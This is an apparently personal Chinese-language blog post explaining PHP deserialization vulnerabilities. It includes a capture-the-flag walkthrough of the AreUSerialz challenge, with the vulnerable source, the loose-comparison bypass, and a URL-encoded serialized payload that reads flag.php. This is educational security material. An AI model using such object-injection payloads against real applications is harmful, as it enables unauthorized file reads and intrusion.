PHP反序列化

本文最后更新于:2022年9月26日 下午

PHP反序列化

序列化(serialize)就是将对象转换为字符串。反序列化(unserialize)则相反,数据的格式的转换对象的序列化利于对象的保存和传输,也可以让多个文件共享对象

访问控制

PHP 对属性或方法的访问控制,是通过在前面添加关键字 public(公有),protected(受保护)或 private(私有)来实现的。
public(公有):公有的类成员可以在任何地方被访问
protected(受保护):受保护的类成员则可以被其自身以及其子类和父类访问
private(私有):私有的类成员则只能被其定义所在的类访问

有类时会触发 魔术方法

那什么时魔术方法呢?PHP中把两个下划线开头的方法称为魔术方法(Magic methods)

serialize() 函数会检查类中是否存在一个魔术方法。如果存在,该方法会先被调用,然后才执行序列化操作。

魔术方法包括:

魔术方法 用处
__construct() 实例化类时自动调用
__destruct() 类对象使用结束时自动调用
__set() 在给未定义的属性赋值时自动调用
__get() 调用未定义的属性时自动调用
__isset() 使用 isset() 或 empty() 函数时自动调用
__unset() 使用 unset() 时自动调用
__sleep() 使用 serialize 序列化时自动调用
__wakeup() 使用 unserialize 反序列化时自动调用
__call() 调用一个不存在的方法时自动调用
__callStatic() 调用一个不存在的静态方法时自动调用
__toString() 把对象转换成字符串时自动调用
__invoke() 当尝试把对象当方法调用时自动调用
__set_state() 当使用 var_export() 函数时自动调用,接受一个数组参数
__clone() 当使用 clone 复制一个对象时自动调用
__debugInfo() 使用 var_dump() 打印对象信息时自动调用

简单的序列化:

555

序列化后各个字符串的含义:

556

PHP反序列化漏洞原理

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。当传给unserialize()参数可控时,可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。

例子

CTFHub中 2020-网鼎杯-青龙组-Web-AreUSerialz

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

首先代码审计就是看两点,一有无漏洞,二有无可控变量。

我们发现源代码最后76行有可控变量str通过get传参,并且发现有unserialize反序列化。

我们再看到 flag.php 是在这个高亮化文件里面的,并且发现有class(类):

1
2
3
4
5
class FileHandler {

protected $op;
protected $filename;
protected $content;

在反序列化后,相当于重新生成了一个对像,这个对象在程序结束时 析构执行­_destruct()//第58行

如果op值为2则强制将op的值变为1,content值为空,调用process函数。//第20行

如果op值为1,则进入“写”函数;如果op值为2,则进入“读”函数

这里我们需要读取到flag.php中的答案所以需要调用“读”函数//第45行

如果filename有值,则file_get_contents()函数把整个文件读入一个字符串中,如果给filename赋值为flag.php 那么我们就能读出flag了。

但是在destruct函数中进行了判断把2强制转换成了1:

1
2
3
4
5
6
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

所以我们这里需要知道,用三个等号时,除了两个变量的值相同外,还必须这两个变量的类型相同,而用两个等号时,只需要两个变量值相同。

我们构造payload时,构造op=‘ 2’字符串,则op=‘2’就不成立,此时op就成了我们自己设置的值。然后通过process()函数调用后:

1
2
3
4
5
6
7
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
}

因为这里为 op == “2”为弱类型对比只需要值相等就能调用“读”函数。就能读出flag.php文件了。

构造payload

123456789

序列化出来的payload为:

1
O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bs%3A2%3A%22+2%22%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3BN%3B%7D

注意这里要把protect改为public才是公有的,并且要将FileHandler用new实例化。


PHP反序列化
https://ke1r.cn/2022/04/17/PHP反序列化/
作者
Ke1R
发布于
2022年4月17日
许可协议